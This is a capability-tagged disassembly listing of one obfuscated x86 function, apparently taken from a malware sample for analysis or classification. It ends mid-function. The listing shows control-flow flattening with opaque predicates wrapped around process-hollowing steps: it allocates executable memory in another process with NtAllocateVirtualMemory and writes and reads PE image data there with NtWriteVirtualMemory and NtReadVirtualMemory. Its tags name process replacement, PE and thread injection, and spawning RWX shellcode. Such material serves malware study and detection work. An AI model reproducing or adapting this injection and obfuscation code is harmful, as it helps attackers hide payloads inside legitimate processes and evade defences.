Function at 0x100097b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x10068c04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x164], 0x5c96ed8f
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x803d1244
je 0x100109c0
jmp 0x100097ec
mov eax, dword [ebp - 0x168]
sub eax, 0x832d5d73
je 0x1001026a
jmp 0x10009802
mov eax, dword [ebp - 0x168]
sub eax, 0x83e20408
je 0x1000f018
jmp 0x10009818
mov eax, dword [ebp - 0x168]
sub eax, 0x84bebfcf
je 0x1001085b
jmp 0x1000982e
mov eax, dword [ebp - 0x168]
sub eax, 0x86e28770
je 0x1000d5e6
jmp 0x10009844
mov eax, dword [ebp - 0x168]
sub eax, 0x87448091
je 0x1000cf21
jmp 0x1000985a
mov eax, dword [ebp - 0x168]
sub eax, 0x874f5aec
je 0x1000ef25
jmp 0x10009870
mov eax, dword [ebp - 0x168]
sub eax, 0x87cdb3d1
je 0x1000df42
jmp 0x10009886
mov eax, dword [ebp - 0x168]
sub eax, 0x87e2ebb8
je 0x1000d5d7
jmp 0x1000989c
mov eax, dword [ebp - 0x168]
sub eax, 0x8872bb02
je 0x1000f2bb
jmp 0x100098b2
mov eax, dword [ebp - 0x168]
sub eax, 0x89b979ae
je 0x1000ba4a
jmp 0x100098c8
mov eax, dword [ebp - 0x168]
sub eax, 0x8a23112c
je 0x10010b4e
jmp 0x100098de
mov eax, dword [ebp - 0x168]
sub eax, 0x8a3f34b1
je 0x1000cdbc
jmp 0x100098f4
mov eax, dword [ebp - 0x168]
sub eax, 0x8b9612f4
je 0x1000d5c8
jmp 0x1000990a
mov eax, dword [ebp - 0x168]
sub eax, 0x8f27e63f
je 0x1000dc09
jmp 0x10009920
mov eax, dword [ebp - 0x168]
sub eax, 0x8f786e05
je 0x1000b945
jmp 0x10009936
mov eax, dword [ebp - 0x168]
sub eax, 0x8ff2337d
je 0x1000c3f2
jmp 0x1000994c
mov eax, dword [ebp - 0x168]
sub eax, 0x90058d21
je 0x1000c992
jmp 0x10009962
mov eax, dword [ebp - 0x168]
sub eax, 0x911f8e86
je 0x1000fc8d
jmp 0x10009978
mov eax, dword [ebp - 0x168]
sub eax, 0x9156253c
je 0x1000cef7
jmp 0x1000998e
mov eax, dword [ebp - 0x168]
sub eax, 0x9247b456
je 0x1000ed07
jmp 0x100099a4
mov eax, dword [ebp - 0x168]
sub eax, 0x92bcb5a0
je 0x1000c14b
jmp 0x100099ba
mov eax, dword [ebp - 0x168]
sub eax, 0x92c1b1d1
je 0x1000ff18
jmp 0x100099d0
mov eax, dword [ebp - 0x168]
sub eax, 0x94374979
je 0x1000db3a
jmp 0x100099e6
mov eax, dword [ebp - 0x168]
sub eax, 0x9451852e
je 0x1000ea86
jmp 0x100099fc
mov eax, dword [ebp - 0x168]
sub eax, 0x94a9b5c0
je 0x1000beec
jmp 0x10009a12
mov eax, dword [ebp - 0x168]
sub eax, 0x94ae6204
je 0x1000eeaf
jmp 0x10009a28
mov eax, dword [ebp - 0x168]
sub eax, 0x952cc9ba
je 0x1000c2ac
jmp 0x10009a3e
mov eax, dword [ebp - 0x168]
sub eax, 0x960fcaa0
je 0x1000c5ea
jmp 0x10009a54
mov eax, dword [ebp - 0x168]
sub eax, 0x9695203c
je 0x10010653
jmp 0x10009a6a
mov eax, dword [ebp - 0x168]
sub eax, 0x96bd3f6e
je 0x1000c732
jmp 0x10009a80
mov eax, dword [ebp - 0x168]
sub eax, 0x980fe2f3
je 0x1000de48
jmp 0x10009a96
mov eax, dword [ebp - 0x168]
sub eax, 0x9840c941
je 0x1000e316
jmp 0x10009aac
mov eax, dword [ebp - 0x168]
sub eax, 0x989218e0
je 0x1000d48e
jmp 0x10009ac2
mov eax, dword [ebp - 0x168]
sub eax, 0x9b52613c
je 0x1000fba1
jmp 0x10009ad8
mov eax, dword [ebp - 0x168]
sub eax, 0x9d00b979
je 0x1000c4a2
jmp 0x10009aee
mov eax, dword [ebp - 0x168]
sub eax, 0xa5844296
je 0x1000b6ca
jmp 0x10009b04
mov eax, dword [ebp - 0x168]
sub eax, 0xa7286a40
je 0x1000dab5
jmp 0x10009b1a
mov eax, dword [ebp - 0x168]
sub eax, 0xa754c6a4
je 0x100106aa
jmp 0x10009b30
mov eax, dword [ebp - 0x168]
sub eax, 0xa8009db0
je 0x1000c6da
jmp 0x10009b46
mov eax, dword [ebp - 0x168]
sub eax, 0xa84e8962
je 0x1000c280
jmp 0x10009b5c
mov eax, dword [ebp - 0x168]
sub eax, 0xa8ba287e
je 0x1000c5c9
jmp 0x10009b72
mov eax, dword [ebp - 0x168]
sub eax, 0xa91215b6
je 0x1000d852
jmp 0x10009b88
mov eax, dword [ebp - 0x168]
sub eax, 0xa9705826
je 0x1000f9c3
jmp 0x10009b9e
mov eax, dword [ebp - 0x168]
sub eax, 0xaa7dca8a
je 0x1000dced
jmp 0x10009bb4
mov eax, dword [ebp - 0x168]
sub eax, 0xabba5b8c
je 0x1000cb16
jmp 0x10009bca
mov eax, dword [ebp - 0x168]
sub eax, 0xac3afafd
je 0x100104d3
jmp 0x10009be0
mov eax, dword [ebp - 0x168]
sub eax, 0xac56ace0
je 0x1001076d
jmp 0x10009bf6
mov eax, dword [ebp - 0x168]
sub eax, 0xad57d36f
je 0x1000f77c
jmp 0x10009c0c
mov eax, dword [ebp - 0x168]
sub eax, 0xadcb8c11
je 0x1000d9f9
jmp 0x10009c22
mov eax, dword [ebp - 0x168]
sub eax, 0xaefd2558
je 0x1000d994
jmp 0x10009c38
mov eax, dword [ebp - 0x168]
sub eax, 0xb050f789
je 0x1000ee11
jmp 0x10009c4e
mov eax, dword [ebp - 0x168]
sub eax, 0xb051a2be
je 0x1000b88d
jmp 0x10009c64
mov eax, dword [ebp - 0x168]
sub eax, 0xb11974d8
je 0x1000d3df
jmp 0x10009c7a
mov eax, dword [ebp - 0x168]
sub eax, 0xb3975d7d
je 0x1000d170
jmp 0x10009c90
mov eax, dword [ebp - 0x168]
sub eax, 0xb541c79d
je 0x1000bda7
jmp 0x10009ca6
mov eax, dword [ebp - 0x168]
sub eax, 0xb6bc4d78
je 0x1000f94d
jmp 0x10009cbc
mov eax, dword [ebp - 0x168]
sub eax, 0xb77ecf3b
je 0x1000fde7
jmp 0x10009cd2
mov eax, dword [ebp - 0x168]
sub eax, 0xb821c6b8
je 0x1000d45c
jmp 0x10009ce8
mov eax, dword [ebp - 0x168]
sub eax, 0xb8f78635
je 0x1000f8f1
jmp 0x10009cfe
mov eax, dword [ebp - 0x168]
sub eax, 0xb9cc0da3
je 0x1000e87b
jmp 0x10009d14
mov eax, dword [ebp - 0x168]
sub eax, 0xba63cdcc
je 0x1000e901
jmp 0x10009d2a
mov eax, dword [ebp - 0x168]
sub eax, 0xbc7a1a9b
je 0x1000fe4d
jmp 0x10009d40
mov eax, dword [ebp - 0x168]
sub eax, 0xbd31359b
je 0x1000d79c
jmp 0x10009d56
mov eax, dword [ebp - 0x168]
sub eax, 0xbd6ceafa
je 0x1000bfab
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0x50c91f94
sub edx, 1
sub edx, 0x50c91f94
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1e89dfbb
mov ecx, 0x7ba4cc06
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x7556aac8
jmp 0x10010d5a
mov dl, byte [ebp - 0xcd]
mov eax, 0xb6bc4d78
mov ecx, 0x3c6136e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
add edx, 0xbac1852f
sub edx, 1
sub edx, 0xbac1852f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8294521
mov ecx, 0xf32c0971
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7acb40cd
mov ecx, 0xcf805936
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0x8cf13251
sub edx, 1
sub edx, 0x8cf13251
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10a9b601
mov ecx, 0x605c9a57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac3afafd
mov ecx, 0x367ca28f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x16814274
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6f49602
mov ecx, 0xd3aec699
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
add edx, 0xde96ec02
sub edx, 1
sub edx, 0xde96ec02
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5a6175dd
mov ecx, 0xed7bb23d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0xf9299163
jmp 0x10010d5a
mov dl, byte [ebp - 0xb6]
mov eax, 0x665c1f03
mov ecx, 0x960fcaa0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf7b58693
mov ecx, 0xfd7f8c17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x1a8eb5dc
jmp 0x10010d5a
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
cmp dword [eax], 0
setge al
and al, 1
mov byte [ebp - 0xb5], al
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d0cc2c7
mov ecx, 0x267ff433
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x138]
mov edx, dword [ebp - 0xb4]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
sub edx, 0x7362cbd1
sub edx, 1
add edx, 0x7362cbd1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbc7a1a9b
mov ecx, 0x2b429312
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x158]
mov edx, dword [ebp - 0x13c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x150]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x15c]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x160]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [eax], 0
mov dword [ebp - 0x164], 0x1bf1f8b0
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
sub edx, 0xe7d432f
sub edx, 1
add edx, 0xe7d432f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4066ec41
mov ecx, 0x215a23a9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
sub eax, 0xba0e9cfb
add eax, 1
add eax, 0xba0e9cfb
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x164], 0x87448091
jmp 0x10010d5a
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0xa0]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x1bf1f8b0
jmp 0x10010d5a
mov dl, byte [ebp - 0x95]
mov eax, 0x572e537e
mov ecx, 0x6a90e488
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0x94]
mov eax, 0x87e2ebb8
mov ecx, 0x7fa733a7
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov esi, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x90]
mov eax, 0x87e2ebb8
mov ecx, 0x989218e0
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x11c]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x164], 0xc8b2d311
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x87e2ebb8
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x86e28770
jmp 0x10010d5a
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x164], 0xd9c02d82
jmp 0x10010d5a
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0xb3831c7b
sub edx, 1
sub edx, 0xb3831c7b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xec330d9
mov ecx, 0x4759001c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x41f3fcb6
jmp 0x10010d5a
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 8
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x160]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x164], 0xadcb8c11
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4299443c
mov ecx, 0x7f4eb32a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x522b7e7a
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
sub edx, 0x1fcaafa
sub edx, 1
add edx, 0x1fcaafa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xac56ace0
mov ecx, 0xdd7513c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
sub edx, 0x9f20a08d
sub edx, 1
add edx, 0x9f20a08d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfe7e6d36
mov ecx, 0xc14657b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0x4306885e
sub edx, 1
sub edx, 0x4306885e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe35085a3
mov ecx, 0x63e52828
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x4c], eax
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0xb00830f0
sub edx, 1
sub edx, 0xb00830f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e1bc800
mov ecx, 0xf5e7c56a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
sub edx, 0xc750bea1
sub edx, 1
add edx, 0xc750bea1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x46043962
mov ecx, 0x330a5b81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x40]
mov edx, dword [eax]
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0x44]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
sub edx, 0xf3780046
sub edx, 1
add edx, 0xf3780046
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84bebfcf
mov ecx, 0xec37853d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x68bab25f
mov ecx, 0xc97c9dc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x712e3242
mov ecx, 0xe8e05ca4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x164], 0x31b5f130
jmp 0x10010d5a
mov dl, byte [ebp - 0x25]
mov eax, 0xf3d23b2f
mov ecx, 0xd587fb63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [ebp - 0x158]
mov eax, dword [ebp - 0x160]
add ecx, dword [eax + 0xc0]
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
add eax, 0xc
mov dword [ebp - 0x24], eax
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
add edx, 0x31cd3902
sub edx, 1
sub edx, 0x31cd3902
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdcefa76f
mov ecx, 0x94ae6204
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
mov edx, ecx
sub edx, 0x22b4fb91
sub edx, 1
add edx, 0x22b4fb91
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x654cdca2
mov ecx, 0x874f5aec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov dword [ebp - 0x164], 0x3aa4497d
jmp 0x10010d5a
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [0x10069e88]
mov ecx, dword [0x10069e84]
mov edx, eax
add edx, 0x74a46c96
sub edx, 1
sub edx, 0x74a46c96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8a89c19
mov ecx, 0x3f5b1899
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [0x10069e88]
mov eax, dword [0x10069e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4c59844
mov ecx, 0x3f811da2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010d5a
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x160]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, edx
sub ecx, eax
